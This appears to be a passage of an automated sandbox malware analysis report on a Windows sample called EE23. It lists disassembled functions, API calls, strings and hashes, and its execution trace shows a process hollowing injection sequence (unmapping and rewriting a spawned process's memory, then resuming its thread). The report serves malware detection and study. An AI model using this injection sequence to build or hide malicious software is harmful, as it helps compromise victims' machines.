                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove
                                                                                                                                                                                                                                                                • String ID: invalid string position$string too long
                                                                                                                                                                                                                                                                • API String ID: 4104443479-4289949731
                                                                                                                                                                                                                                                                • Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
                                                                                                                                                                                                                                                                • Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA
                                                                                                                                                                                                                                                                  • Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
                                                                                                                                                                                                                                                                  • Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
                                                                                                                                                                                                                                                                  • Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
                                                                                                                                                                                                                                                                  • Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277
                                                                                                                                                                                                                                                                  • Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
                                                                                                                                                                                                                                                                  • Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73
                                                                                                                                                                                                                                                                  • Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
                                                                                                                                                                                                                                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
                                                                                                                                                                                                                                                                • TranslateMessage.USER32(?), ref: 0041B4CD
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0041B4D7
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
                                                                                                                                                                                                                                                                • String ID: %username%$I:\5d2860c89d774.jpg
                                                                                                                                                                                                                                                                • API String ID: 441990211-897913220
                                                                                                                                                                                                                                                                • Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
                                                                                                                                                                                                                                                                • Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID: .\crypto\err\err.c$unknown
                                                                                                                                                                                                                                                                • API String ID: 0-565200744
                                                                                                                                                                                                                                                                • Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
                                                                                                                                                                                                                                                                • Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
                                                                                                                                                                                                                                                                • ___raise_securityfailure.LIBCMT ref: 0042AC7A
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: FeaturePresentProcessor___raise_securityfailure
                                                                                                                                                                                                                                                                • String ID: 8Q
                                                                                                                                                                                                                                                                • API String ID: 3761405300-2096853525
                                                                                                                                                                                                                                                                • Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
                                                                                                                                                                                                                                                                • Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0
                                                                                                                                                                                                                                                                  • Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00413C83
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
                                                                                                                                                                                                                                                                • String ID: vector<T> too long
                                                                                                                                                                                                                                                                • API String ID: 1327501947-3788999226
                                                                                                                                                                                                                                                                • Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
                                                                                                                                                                                                                                                                • Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _fputws$CreateDirectory
                                                                                                                                                                                                                                                                • String ID: C:\SystemID$C:\SystemID\PersonalID.txt
                                                                                                                                                                                                                                                                • API String ID: 2590308727-54166481
                                                                                                                                                                                                                                                                • Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
                                                                                                                                                                                                                                                                • Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • Assertion failed: %s, file %s, line %d, xrefs: 00420E13
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __calloc_crt
                                                                                                                                                                                                                                                                • String ID: Assertion failed: %s, file %s, line %d
                                                                                                                                                                                                                                                                • API String ID: 3494438863-969893948
                                                                                                                                                                                                                                                                • Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
                                                                                                                                                                                                                                                                • Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00480686
                                                                                                                                                                                                                                                                  • Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
                                                                                                                                                                                                                                                                • .\crypto\evp\digest.c, xrefs: 00480638
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset_raise
                                                                                                                                                                                                                                                                • String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
                                                                                                                                                                                                                                                                • API String ID: 1484197835-3867593797
                                                                                                                                                                                                                                                                • Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
                                                                                                                                                                                                                                                                • Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 0044F251
                                                                                                                                                                                                                                                                  • Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0044F266
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
                                                                                                                                                                                                                                                                • String ID: TeM
                                                                                                                                                                                                                                                                • API String ID: 757275642-2215902641
                                                                                                                                                                                                                                                                • Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:1.2%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                                                                                                                Total number of Nodes:38
                                                                                                                                                                                                                                                                Total number of Limit Nodes:8
                                                                                                                                                                                                                                                                execution_graph 32043 48a9026 32044 48a9035 32043->32044 32047 48a97c6 32044->32047 32049 48a97e1 32047->32049 32048 48a97ea CreateToolhelp32Snapshot 32048->32049 32050 48a9806 Module32First 32048->32050 32049->32048 32049->32050 32051 48a9815 32050->32051 32053 48a903e 32050->32053 32054 48a9485 32051->32054 32055 48a94b0 32054->32055 32056 48a94f9 32055->32056 32057 48a94c1 VirtualAlloc 32055->32057 32056->32056 32057->32056 32058 49e0000 32061 49e0630 32058->32061 32060 49e0005 32062 49e064c 32061->32062 32064 49e1577 32062->32064 32067 49e05b0 32064->32067 32070 49e05dc 32067->32070 32068 49e061e 32069 49e05e2 GetFileAttributesA 32069->32070 32070->32068 32070->32069 32072 49e0420 32070->32072 32073 49e04f3 32072->32073 32074 49e04ff CreateWindowExA 32073->32074 32075 49e04fa 32073->32075 32074->32075 32076 49e0540 PostMessageA 32074->32076 32075->32070 32077 49e055f 32076->32077 32077->32075 32079 49e0110 VirtualAlloc GetModuleFileNameA 32077->32079 32080 49e017d CreateProcessA 32079->32080 32081 49e0414 32079->32081 32080->32081 32083 49e025f VirtualFree VirtualAlloc Wow64GetThreadContext 32080->32083 32081->32077 32083->32081 32084 49e02a9 ReadProcessMemory 32083->32084 32085 49e02e5 VirtualAllocEx NtWriteVirtualMemory 32084->32085 32086 49e02d5 NtUnmapViewOfSection 32084->32086 32087 49e033b 32085->32087 32086->32085 32088 49e039d WriteProcessMemory Wow64SetThreadContext ResumeThread 32087->32088 32089 49e0350 NtWriteVirtualMemory 32087->32089 32090 49e03fb ExitProcess 32088->32090 32089->32087

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 049E0110 Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 049E0156
                                                                                                                                                                                                                                                                • GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 049E016C
                                                                                                                                                                                                                                                                • CreateProcessA.KERNELBASE(?,00000000), ref: 049E0255
                                                                                                                                                                                                                                                                • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 049E0270
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 049E0283
                                                                                                                                                                                                                                                                • Wow64GetThreadContext.KERNEL32(00000000,?), ref: 049E029F
                                                                                                                                                                                                                                                                • ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 049E02C8
                                                                                                                                                                                                                                                                • NtUnmapViewOfSection.NTDLL(00000000,?), ref: 049E02E3
                                                                                                                                                                                                                                                                • VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 049E0304
                                                                                                                                                                                                                                                                • NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 049E032A
                                                                                                                                                                                                                                                                • NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 049E0399
                                                                                                                                                                                                                                                                • WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 049E03BF
                                                                                                                                                                                                                                                                • Wow64SetThreadContext.KERNEL32(00000000,?), ref: 049E03E1
                                                                                                                                                                                                                                                                • ResumeThread.KERNELBASE(00000000), ref: 049E03ED
                                                                                                                                                                                                                                                                • ExitProcess.KERNEL32(00000000), ref: 049E0412
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 93872480-0
                                                                                                                                                                                                                                                                • Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
                                                                                                                                                                                                                                                                • Instruction ID: 791215a609bb0a3f9522f4c4bc1abb04e1a80ae6b16e432451de36c6f90b3019
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5FB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB395D771AE41CF94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049E0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 15 49e0420-49e04f8 17 49e04ff-49e053c CreateWindowExA 15->17 18 49e04fa 15->18 20 49e053e 17->20 21 49e0540-49e0558 PostMessageA 17->21 19 49e05aa-49e05ad 18->19 20->19 22 49e055f-49e0563 21->22 22->19 23 49e0565-49e0579 22->23 23->19 25 49e057b-49e0582 23->25 26 49e05a8 25->26 27 49e0584-49e0588 25->27 26->22 27->26 28 49e058a-49e0591 27->28 28->26 29 49e0593-49e0597 call 49e0110 28->29 31 49e059c-49e05a5 29->31 31->26
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 049E0533
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateWindow
                                                                                                                                                                                                                                                                • String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
                                                                                                                                                                                                                                                                • API String ID: 716092398-2341455598
                                                                                                                                                                                                                                                                • Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
                                                                                                                                                                                                                                                                • Instruction ID: 0356069521b94cb2ce4ae8c540235121edb4ad02a79c48344712d65d667ab90e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 99512A70D08388DAEB11CBD9C849BEDBFB66F11708F144058D5447F286D7FA6658CB62
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049E05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 32 49e05b0-49e05d5 33 49e05dc-49e05e0 32->33 34 49e061e-49e0621 33->34 35 49e05e2-49e05f5 GetFileAttributesA 33->35 36 49e05f7-49e05fe 35->36 37 49e0613-49e061c 35->37 36->37 38 49e0600-49e060b call 49e0420 36->38 37->33 40 49e0610 38->40 40->37
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetFileAttributesA.KERNELBASE(apfHQ), ref: 049E05EC
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                                                                • String ID: apfHQ$o
                                                                                                                                                                                                                                                                • API String ID: 3188754299-2999369273
                                                                                                                                                                                                                                                                • Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
                                                                                                                                                                                                                                                                • Instruction ID: d85ed1df37b65262866b263c3019e31ba3af050d263bb200a9c6d5c837fc7830
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
